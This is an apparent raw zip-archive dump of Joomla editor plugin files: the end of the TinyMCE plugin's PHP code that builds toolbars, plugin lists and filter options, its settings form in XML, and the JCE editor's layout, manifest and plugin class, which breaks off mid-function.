		$ignore_filter = false;

		// Text filtering
		if ($this->params->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ? $filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ? $filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray : array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray : array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist, $attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements =	implode(',', array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  = $this->params->get('invalid_elements', 'script,applet,iframe');
			$extended_elements = $this->params->get('extended_elements', '');
			$valid_elements    = $this->params->get('valid_elements', '');
		}

		// Advanced Options
		$access = $user->getAuthorisedViewLevels();

		// Flip for performance, so we can direct check for the key isset($access[$key])
		$access = array_flip($access);

		$html_height = $this->params->get('html_height', '550');
		$html_width  = $this->params->get('html_width', '');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// Image advanced options
		$image_advtab = $this->params->get('image_advtab', true);

		if (isset($access[$image_advtab]))
		{
			$image_advtab = true;
		}
		else
		{
			$image_advtab = false;
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = $this->params->get('resizing', '1');
		$resize_horizontal = $this->params->get('resize_horizontal', '1');

		if ($resizing || $resizing == 'true')
		{
			if ($resize_horizontal || $resize_horizontal == 'true')
			{
				$resizing = 'both';
			}
			else
			{
				$resizing = true;
			}
		}
		else
		{
			$resizing = false;
		}

		$toolbar1_add   = array();
		$toolbar2_add   = array();
		$toolbar3_add   = array();
		$toolbar4_add   = array();
		$elements       = array();
		$plugins        = array(
			'autolink',
			'lists',
			'image',
			'charmap',
			'print',
			'preview',
			'anchor',
			'pagebreak',
			'code',
			'save',
			'textcolor',
			'colorpicker',
			'importcss');
		$toolbar1_add[] = 'bold';
		$toolbar1_add[] = 'italic';
		$toolbar1_add[] = 'underline';
		$toolbar1_add[] = 'strikethrough';

		// Alignment buttons
		$alignment = $this->params->get('alignment', 1);

		if (isset($access[$alignment]))
		{
			$toolbar1_add[] = '|';
			$toolbar1_add[] = 'alignleft';
			$toolbar1_add[] = 'aligncenter';
			$toolbar1_add[] = 'alignright';
			$toolbar1_add[] = 'alignjustify';
		}

		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'styleselect';
		$toolbar1_add[] = '|';
		$toolbar1_add[] = 'formatselect';

		// Fonts
		$fonts = $this->params->get('fonts', 1);

		if (isset($access[$fonts]))
		{
			$toolbar1_add[] = 'fontselect';
			$toolbar1_add[] = 'fontsizeselect';
		}

		// Search & replace
		$searchreplace = $this->params->get('searchreplace', 1);

		if (isset($access[$searchreplace]))
		{
			$plugins[]      = 'searchreplace';
			$toolbar2_add[] = 'searchreplace';
		}

		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'bullist';
		$toolbar2_add[] = 'numlist';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'outdent';
		$toolbar2_add[] = 'indent';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'undo';
		$toolbar2_add[] = 'redo';
		$toolbar2_add[] = '|';

		// Insert date and/or time plugin
		$insertdate = $this->params->get('insertdate', 1);

		if (isset($access[$insertdate]))
		{
			$plugins[]      = 'insertdatetime';
			$toolbar4_add[] = 'inserttime';
		}

		// Link plugin
		$link = $this->params->get('link', 1);

		if (isset($access[$link]))
		{
			$plugins[]      = 'link';
			$toolbar2_add[] = 'link';
			$toolbar2_add[] = 'unlink';
		}

		$toolbar2_add[] = 'anchor';
		$toolbar2_add[] = 'image';
		$toolbar2_add[] = '|';
		$toolbar2_add[] = 'code';

		// Colors
		$colors = $this->params->get('colors', 1);

		if (isset($access[$colors]))
		{
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'forecolor,backcolor';
		}

		// Fullscreen
		$fullscreen = $this->params->get('fullscreen', 1);

		if (isset($access[$fullscreen]))
		{
			$plugins[]      = 'fullscreen';
			$toolbar2_add[] = '|';
			$toolbar2_add[] = 'fullscreen';
		}

		// Table
		$table = $this->params->get('table', 1);

		if (isset($access[$table]))
		{
			$plugins[]      = 'table';
			$toolbar3_add[] = 'table';
			$toolbar3_add[] = '|';
		}

		$toolbar3_add[] = 'subscript';
		$toolbar3_add[] = 'superscript';
		$toolbar3_add[] = '|';
		$toolbar3_add[] = 'charmap';

		// Emotions
		$smilies = $this->params->get('smilies', 1);

		if (isset($access[$smilies]))
		{
			$plugins[]      = 'emoticons';
			$toolbar3_add[] = 'emoticons';
		}

		// Media plugin
		$media = $this->params->get('media', 1);

		if (isset($access[$media]))
		{
			$plugins[]      = 'media';
			$toolbar3_add[] = 'media';
		}

		// Horizontal line
		$hr = $this->params->get('hr', 1);

		if (isset($access[$hr]))
		{
			$plugins[]      = 'hr';
			$elements[]     = 'hr[id|title|alt|class|width|size|noshade]';
			$toolbar3_add[] = 'hr';
		}
		else
		{
			$elements[] = 'hr[id|class|title|alt]';
		}

		// RTL/LTR buttons
		$directionality = $this->params->get('directionality', 1);

		if (isset($access[$directionality]))
		{
			$plugins[]      = 'directionality';
			$toolbar3_add[] = 'ltr rtl';
		}

		if ($extended_elements != "")
		{
			$elements = explode(',', $extended_elements);
		}

		$toolbar4_add[] = 'cut';
		$toolbar4_add[] = 'copy';

		// Paste
		$paste = $this->params->get('paste', 1);

		if (isset($access[$paste]))
		{
			$plugins[]      = 'paste';
			$toolbar4_add[] = 'paste';
		}

		$toolbar4_add[] = '|';

		// Visualchars
		$visualchars = $this->params->get('visualchars', 1);

		if (isset($access[$visualchars]))
		{
			$plugins[]      = 'visualchars';
			$toolbar4_add[] = 'visualchars';
		}

		// Visualblocks
		$visualblocks = $this->params->get('visualblocks', 1);

		if (isset($access[$visualblocks]))
		{
			$plugins[]      = 'visualblocks';
			$toolbar4_add[] = 'visualblocks';
		}

		// Non-breaking
		$nonbreaking = $this->params->get('nonbreaking', 1);

		if (isset($access[$nonbreaking]))
		{
			$plugins[]      = 'nonbreaking';
			$toolbar4_add[] = 'nonbreaking';
		}

		// Blockquote
		$blockquote = $this->params->get('blockquote', 1);

		if (isset($access[$blockquote]))
		{
			$toolbar4_add[] = 'blockquote';
		}

		// Template
		$template = $this->params->get('template', 1);
		$templates = array();

		if (isset($access[$template]))
		{
			$plugins[]      = 'template';
			$toolbar4_add[] = 'template';

			// Note this check for the template_list.js file will be removed in Joomla 4.0
			if (is_file(JPATH_ROOT . "/media/editors/tinymce/templates/template_list.js"))
			{
				// If using the legacy file we need to include and input the files the new way
				$str = file_get_contents(JPATH_ROOT . "/media/editors/tinymce/templates/template_list.js");

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values["0"]["0"], '"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], ' " '),
						'description' => trim($final_result['2'], ' " '),
						'url' => JUri::root(true) . '/' . trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT . '/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) . '/media/editors/tinymce/templates/' . $filename . '.html',
						);
					}
				}
			}
		}

		// Print
		$print = $this->params->get('print', 1);

		if (isset($access[$print]))
		{
			$plugins[]      = 'print';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'print';
			$toolbar4_add[] = 'preview';
		}

		// Spellchecker
		$spell = $this->params->get('spell', 0);

		if (isset($access[$spell]))
		{
			$plugins[]      = 'spellchecker';
			$toolbar4_add[] = '|';
			$toolbar4_add[] = 'spellchecker';
		}

		// Wordcount
		$wordcount = $this->params->get('wordcount', 1);

		if (isset($access[$wordcount]))
		{
			$plugins[] = 'wordcount';
		}

		// Advlist
		$advlist = $this->params->get('advlist', 1);

		if (isset($access[$advlist]))
		{
			$plugins[] = 'advlist';
		}

		// Codesample
		$advlist = $this->params->get('code_sample', 1);

		if (isset($access[$advlist]))
		{
			$plugins[]      = 'codesample';
			$toolbar4_add[] = 'codesample';
		}

		// Autosave
		$autosave = $this->params->get('autosave', 1);

		if (isset($access[$autosave]))
		{
			$plugins[] = 'autosave';
		}

		// Context menu
		$contextmenu = $this->params->get('contextmenu', 1);

		if (isset($access[$contextmenu]))
		{
			$plugins[] = 'contextmenu';
		}

		$custom_plugin = $this->params->get('custom_plugin', '');

		if ($custom_plugin != "")
		{
			$plugins[] = $custom_plugin;
		}

		$custom_button = $this->params->get('custom_button', '');

		if ($custom_button != "")
		{
			$toolbar4_add[] = $custom_button;
		}

		// Drag and drop Images
		$externalPlugins = array();
		$allowImgPaste   = false;
		$dragdrop        = $this->params->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create', 'com_media'))
		{
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() . 'index.php?option=com_media&task=file.upload&tmpl=component&'
								. $session->getName() . '=' . $session->getId()
								. '&' . JSession::getFormToken() . '=1'
								. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, 0, 'UTF-8', false);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) != '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] = $this->params->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;

			$externalPlugins = array(
				array(
					'jdragdrop' => HTMLHelper::_(
						'script',
						'editors/tinymce/plugins/dragdrop/plugin.min.js',
						array('relative' => true, 'version' => 'auto', 'pathOnly' => true)
					),
				),
			);
		}

		// Prepare config variables
		$plugins  = implode(',', $plugins);
		$elements = implode(',', $elements);

		// Prepare config variables
		$toolbar1 = implode(' ', $toolbar1_add) . ' | '
					. implode(' ', $toolbar2_add) . ' | '
					. implode(' ', $toolbar3_add) . ' | '
					. implode(' ', $toolbar4_add);

		// See if mobileVersion is activated
		$mobileVersion = $this->params->get('mobile', 0);

		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) . '/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  => $this->params->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			// URL
			'relative_urls'      => (bool) $this->params->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'externalPlugins'    => json_encode($externalPlugins),
		)
		);

		if ($this->params->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($mobileVersion)
		{
			$mode = 0;
		}

		switch ($mode)
		{
			case 0: /* Simple mode*/
				$scriptOptions['menubar']  = false;
				$scriptOptions['toolbar1'] = 'bold italic underline strikethrough | undo redo | bullist numlist | code';
				$scriptOptions['plugins']  = ' code';

				break;

			case 1:
			default: /* Advanced mode*/
				$toolbar1 = "bold italic underline strikethrough | alignleft aligncenter alignright alignjustify | formatselect | bullist numlist "
							. "| outdent indent | undo redo | link unlink anchor code | hr table | subscript superscript | charmap";

				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = 'table link code hr charmap autolink lists importcss ';
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] = 'newdocument';
				$scriptOptions['importcss_append']  = true;
				$scriptOptions['height'] = $html_height;
				$scriptOptions['width']  = $html_width;
				$scriptOptions['resize'] = $resizing;

				break;

			case 2: /* Extended mode*/
				$scriptOptions['valid_elements'] = $valid_elements;
				$scriptOptions['extended_valid_elements'] = $elements;
				$scriptOptions['invalid_elements'] = $invalid_elements;
				$scriptOptions['plugins']  = $plugins;
				$scriptOptions['toolbar1'] = $toolbar1;
				$scriptOptions['removed_menuitems'] = 'newdocument';
				$scriptOptions['rel_list'] = array(
					array('title' => 'None', 'value' => ''),
					array('title' => 'Alternate', 'value' => 'alternate'),
					array('title' => 'Author', 'value' => 'author'),
					array('title' => 'Bookmark', 'value' => 'bookmark'),
					array('title' => 'Help', 'value' => 'help'),
					array('title' => 'License', 'value' => 'license'),
					array('title' => 'Lightbox', 'value' => 'lightbox'),
					array('title' => 'Next', 'value' => 'next'),
					array('title' => 'No Follow', 'value' => 'nofollow'),
					array('title' => 'No Referrer', 'value' => 'noreferrer'),
					array('title' => 'Prefetch', 'value' => 'prefetch'),
					array('title' => 'Prev', 'value' => 'prev'),
					array('title' => 'Search', 'value' => 'search'),
					array('title' => 'Tag', 'value' => 'tag'),
				);
				$scriptOptions['importcss_append'] = true;
				$scriptOptions['image_advtab']     = $image_advtab;
				$scriptOptions['height']    = $html_height;
				$scriptOptions['width']     = $html_width;
				$scriptOptions['resize']    = $resizing;
				$scriptOptions['templates'] = $templates;

				break;
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration(".mce-in { padding: 5px 10px !important;}");
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}
}
PK�(]6����#editors/tinymce/form/setoptions.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
    <field
        name="access"
        type="usergrouplist"
        label="PLG_TINY_FIELD_SETACCESS_LABEL"
        description="PLG_TINY_FIELD_SETACCESS_DESC"
        multiple="true"
        class="access-select"
        labelclass="label label-success"
    />

    <field
        name="skins"
        type="note"
        label="PLG_TINY_FIELD_SKIN_INFO_LABEL"
        description="PLG_TINY_FIELD_SKIN_INFO_DESC"
    />

    <field
        name="skin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_DESC"
    />

    <field
        name="skin_admin"
        type="skins"
        label="PLG_TINY_FIELD_SKIN_ADMIN_LABEL"
        description="PLG_TINY_FIELD_SKIN_ADMIN_DESC"
    />

    <field
        name="mobile"
        type="radio"
        label="PLG_TINY_FIELD_MOBILE_LABEL"
        description="PLG_TINY_FIELD_MOBILE_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="drag_drop"
        type="radio"
        label="PLG_TINY_FIELD_DRAG_DROP_LABEL"
        description="PLG_TINY_FIELD_DRAG_DROP_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="path"
        type="uploaddirs"
        label="PLG_TINY_FIELD_CUSTOM_PATH_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_PATH_DESC"
        class="input-xxlarge"
        showon="drag_drop:1"
    />

    <field
        name="entity_encoding"
        type="list"
        label="PLG_TINY_FIELD_ENCODING_LABEL"
        description="PLG_TINY_FIELD_ENCODING_DESC"
        default="raw"
        >
        <option value="named">PLG_TINY_FIELD_VALUE_NAMED</option>
        <option value="numeric">PLG_TINY_FIELD_VALUE_NUMERIC</option>
        <option value="raw">PLG_TINY_FIELD_VALUE_RAW</option>
    </field>

    <field
        name="lang_mode"
        type="radio"
        label="PLG_TINY_FIELD_LANGSELECT_LABEL"
        description="PLG_TINY_FIELD_LANGSELECT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="lang_code"
        type="filelist"
        label="PLG_TINY_FIELD_LANGCODE_LABEL"
        description="PLG_TINY_FIELD_LANGCODE_DESC"
        class="inputbox"
        stripext="1"
        directory="media/editors/tinymce/langs/"
        hide_none="1"
        default="en"
        hide_default="1"
        filter="\.js$"
        size="10"
        showon="lang_mode:0"
    />

    <field
        name="text_direction"
        type="list"
        label="PLG_TINY_FIELD_DIRECTION_LABEL"
        description="PLG_TINY_FIELD_DIRECTION_DESC"
        default="ltr"
        >
        <option value="ltr">PLG_TINY_FIELD_VALUE_LTR</option>
        <option value="rtl">PLG_TINY_FIELD_VALUE_RTL</option>
    </field>

    <field
        name="content_css"
        type="radio"
        label="PLG_TINY_FIELD_CSS_LABEL"
        description="PLG_TINY_FIELD_CSS_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="content_css_custom"
        type="text"
        label="PLG_TINY_FIELD_CUSTOM_CSS_LABEL"
        description="PLG_TINY_FIELD_CUSTOM_CSS_DESC"
        class="input-xxlarge"
    />

    <field
        name="relative_urls"
        type="list"
        label="PLG_TINY_FIELD_URLS_LABEL"
        description="PLG_TINY_FIELD_URLS_DESC"
        default="1"
        >
        <option value="0">PLG_TINY_FIELD_VALUE_ABSOLUTE</option>
        <option value="1">PLG_TINY_FIELD_VALUE_RELATIVE</option>
    </field>

    <field
        name="newlines"
        type="list"
        label="PLG_TINY_FIELD_NEWLINES_LABEL"
        description="PLG_TINY_FIELD_NEWLINES_DESC"
        default="0"
        >
        <option value="1">PLG_TINY_FIELD_VALUE_BR</option>
        <option value="0">PLG_TINY_FIELD_VALUE_P</option>
    </field>

    <field
        name="use_config_textfilters"
        type="radio"
        label="PLG_TINY_CONFIG_TEXTFILTER_ACL_LABEL"
        description="PLG_TINY_CONFIG_TEXTFILTER_ACL_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="invalid_elements"
        type="text"
        label="PLG_TINY_FIELD_PROHIBITED_LABEL"
        description="PLG_TINY_FIELD_PROHIBITED_DESC"
        showon="use_config_textfilters:0"
        default="script,applet,iframe"
        class="input-xxlarge"
    />

    <field
        name="valid_elements"
        type="text"
        label="PLG_TINY_FIELD_VALIDELEMENTS_LABEL"
        description="PLG_TINY_FIELD_VALIDELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <field
        name="extended_elements"
        type="text"
        label="PLG_TINY_FIELD_ELEMENTS_LABEL"
        description="PLG_TINY_FIELD_ELEMENTS_DESC"
        showon="use_config_textfilters:0"
        class="input-xxlarge"
    />

    <!-- Extra plugins -->
    <field
        name="resizing"
        type="radio"
        label="PLG_TINY_FIELD_RESIZING_LABEL"
        description="PLG_TINY_FIELD_RESIZING_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="resize_horizontal"
        type="radio"
        label="PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL"
        description="PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        showon="resizing:1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="element_path"
        type="radio"
        label="PLG_TINY_FIELD_PATH_LABEL"
        description="PLG_TINY_FIELD_PATH_DESC"
        class="btn-group btn-group-yesno"
        default="0"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="wordcount"
        type="radio"
        label="PLG_TINY_FIELD_WORDCOUNT_LABEL"
        description="PLG_TINY_FIELD_WORDCOUNT_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="image_advtab"
        type="radio"
        label="PLG_TINY_FIELD_ADVIMAGE_LABEL"
        description="PLG_TINY_FIELD_ADVIMAGE_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="advlist"
        type="radio"
        label="PLG_TINY_FIELD_ADVLIST_LABEL"
        description="PLG_TINY_FIELD_ADVLIST_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="contextmenu"
        type="radio"
        label="PLG_TINY_FIELD_CONTEXTMENU_LABEL"
        description="PLG_TINY_FIELD_CONTEXTMENU_DESC"
        class="btn-group btn-group-yesno"
        default="1"
        >
        <option value="1">JON</option>
        <option value="0">JOFF</option>
    </field>

    <field
        name="custom_plugin"
        type="text"
        label="PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL"
        description="PLG_TINY_FIELD_CUSTOMPLUGIN_DESC"
        class="input-xxlarge"
    />

    <field
        name="custom_button"
        type="text"
        label="PLG_TINY_FIELD_CUSTOMBUTTON_LABEL"
        description="PLG_TINY_FIELD_CUSTOMBUTTON_DESC"
        class="input-xxlarge"
    />
</form>PK�(]{,t���'editors/jce/layouts/editor/textarea.phpnu�[���<?php
/**
 * @package     JCE
 * @subpackage  Layout
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

$data = $displayData;

?>
<textarea
	spellcheck="false"
	autocomplete="off"
	name="<?php echo $data->name; ?>"
	id="<?php echo $data->id; ?>"
	cols="<?php echo $data->cols; ?>"
	rows="<?php echo $data->rows; ?>"
	style="width: <?php echo $data->width; ?>; height: <?php echo $data->height; ?>;"
	class="<?php echo empty($data->class) ? 'mce_editable' : $data->class; ?>"
><?php echo $data->content; ?></textarea>
PK�(]�yq�//editors/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="editors" method="upgrade">
    <name>plg_editors_jce</name>
    <version>2.9.38</version>
    <creationDate>27-06-2023</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_EDITOR_PLUGIN_DESC</description>
    <files folder="plugins/editors/jce">
        <file plugin="jce">jce.php</file>
        <folder>layouts</folder>
    </files>

    <!-- Media -->
    <media folder="media/jce" destination="jce">
        <folder>icons</folder>
    </media>

    <languages folder="administrator/language/en-GB">
        <language tag="en-GB">en-GB.plg_editors_jce.ini</language>
        <language tag="en-GB">en-GB.plg_editors_jce.sys.ini</language>
    </languages>
</extension>
PK�(]@���%�%editors/jce/jce.phpnu�[���<?php

/**
 * @copyright     Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
// Do not allow direct access
defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Layout\LayoutHelper;

/**
 * JCE WYSIWYG Editor Plugin.
 *
 * @since 1.5
 */
class plgEditorJCE extends CMSPlugin
{
    protected static $instances = array();
    
    /**
     * Constructor.
     *
     * @param object $subject The object to observe
     * @param array  $config  An array that holds the plugin configuration
     *
     * @since       1.5
     */
    public function __construct(&$subject, $config)
    {        
        parent::__construct($subject, $config);
    }

    protected function getEditorInstance()
    {        
        // pass config to WFEditor
        $config = array(
            'profile_id' => $this->params->get('profile_id', 0),
            'plugin' => $this->params->get('plugin', '')
        );

        $signature = md5(serialize($config));

        if (empty(self::$instances[$signature])) {
            // load base file
            require_once JPATH_ADMINISTRATOR . '/components/com_jce/includes/base.php';

            // create editor
            self::$instances[$signature] = new WFEditor($config);
        }

        return self::$instances[$signature];
    }

    /**
     * Method to handle the onInit event.
     *  - Initializes the JCE WYSIWYG Editor.
     *
     * @param   $toString Return javascript and css as a string
     *
     * @return string JavaScript Initialization string
     *
     * @since   1.5
     */
    public function onInit()
    {
        if (!ComponentHelper::isEnabled('com_jce')) {
            return false;
        }
        
        $language = Factory::getLanguage();
        $document = Factory::getDocument();

        $language->load('plg_editors_jce', JPATH_ADMINISTRATOR);
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        $editor = $this->getEditorInstance();
        $editor->init();

        foreach ($editor->getScripts() as $script) {
            $document->addScript($script);
        }

        foreach ($editor->getStyleSheets() as $style) {
            $document->addStylesheet($style);
        }

        $document->addScriptDeclaration(implode("\n", $editor->getScriptDeclaration()));
    }

    /**
     * JCE WYSIWYG Editor - get the editor content.
     *
     * @vars string   The name of the editor
     */
    public function onGetContent($editor)
    {
        return $this->onSave($editor);
    }

    /**
     * JCE WYSIWYG Editor - set the editor content.
     *
     * @vars string   The name of the editor
     */
    public function onSetContent($editor, $html)
    {
        return "WFEditor.setContent('" . $editor . "','" . $html . "');";
    }

    /**
     * JCE WYSIWYG Editor - copy editor content to form field.
     *
     * @vars string   The name of the editor
     */
    public function onSave($editor)
    {
        return "WFEditor.getContent('" . $editor . "');";
    }

    /**
     * JCE WYSIWYG Editor - Display the editor area.
     *
     * @param   string   $name     The name of the editor area.
     * @param   string   $content  The content of the field.
     * @param   string   $width    The width of the editor area.
     * @param   string   $height   The height of the editor area.
     * @param   int      $col      The number of columns for the editor area.
     * @param   int      $row      The number of rows for the editor area.
     * @param   boolean  $buttons  True and the editor buttons will be displayed.
     * @param   string   $id       An optional ID for the textarea. If not supplied the name is used.
     * @param   string   $asset    The object asset
     * @param   object   $author   The author.
     * @param   array    $params   Associative array of editor parameters.
     *
     * @return  string
     */
    public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
    {
        if (empty($id)) {
            $id = $name;
        }

        // Only add "px" to width and height if they are not given as a percentage
        if (is_numeric($width)) {
            $width .= 'px';
        }

        if (is_numeric($height)) {
            $height .= 'px';
        }

        if (empty($id)) {
            $id = $name;
        }

        // Data object for the layout
        $textarea = new stdClass;
        $textarea->name = $name;
        $textarea->id = $id;
        $textarea->class = 'mce_editable wf-editor';
        $textarea->cols = $col;
        $textarea->rows = $row;
        $textarea->width = $width;
        $textarea->height = $height;
        $textarea->content = $content;

        $classes = version_compare(JVERSION, '4', 'ge') ? ' mb-2 joomla4' : '';

        // Render Editor markup
        $html = '<div class="editor wf-editor-container' . $classes . '">';
        $html .= '<div class="wf-editor-header"></div>';
        $html .= LayoutHelper::render('editor.textarea', $textarea, __DIR__ . '/layouts');
        $html .= '</div>';

        if (!ComponentHelper::isEnabled('com_jce')) {
            return $html;
        }

        $editor = $this->getEditorInstance();

        // no profile assigned or available
        if (!$editor->hasProfile()) {
            return $html;
        }

        if (!$editor->hasPlugin('joomla')) {            
            if ((bool) $editor->getParam('editor.xtd_buttons', 1)) {                
                $html .= $this->displayButtons($id, $buttons, $asset, $author);
            }
        } else {
            $list = $this->getXtdButtonsList($id, $buttons, $asset, $author);

            if (!empty($list)) {
                $options = array(
                    'joomla_xtd_buttons' => array_values($list)
                );

                Factory::getDocument()->addScriptOptions('plg_editor_jce', $options, true);
            }

            // render empty container for dynamic buttons
            $html .= LayoutHelper::render('joomla.editors.buttons', array());
        }

        return $html;
    }

    public function onGetInsertMethod($name)
    {
    }

    private function getXtdButtonsList($name, $buttons, $asset, $author)
    {
        $list = array();

        $excluded = array('readmore', 'pagebreak', 'image');

        if (!is_array($buttons)) {
            $buttons = !$buttons ? false : $excluded;
        } else {
            $buttons = array_merge($buttons, $excluded);
        }

        $buttons = $this->getXtdButtons($name, $buttons, $asset, $author);

        if (!empty($buttons)) {
            foreach ($buttons as $i => $button) {
                if ($button->get('name')) {
                    // Set some vars
                    $icon = 'none icon-' . $button->get('icon', $button->get('name'));

                    $name = 'button-' . $i . '-' . str_replace(' ', '-', $button->get('text'));
                    $title = $button->get('text');
                    $onclick = $button->get('onclick', '');

                    if ($button->get('link') !== '#') {
                        $href = JUri::base() . $button->get('link');
                    } else {
                        $href = '';
                    }

                    $id = $button->get('name');

                    $list[$id] = array(
                        'name' => $name,
                        'title' => $title,
                        'icon' => $icon,
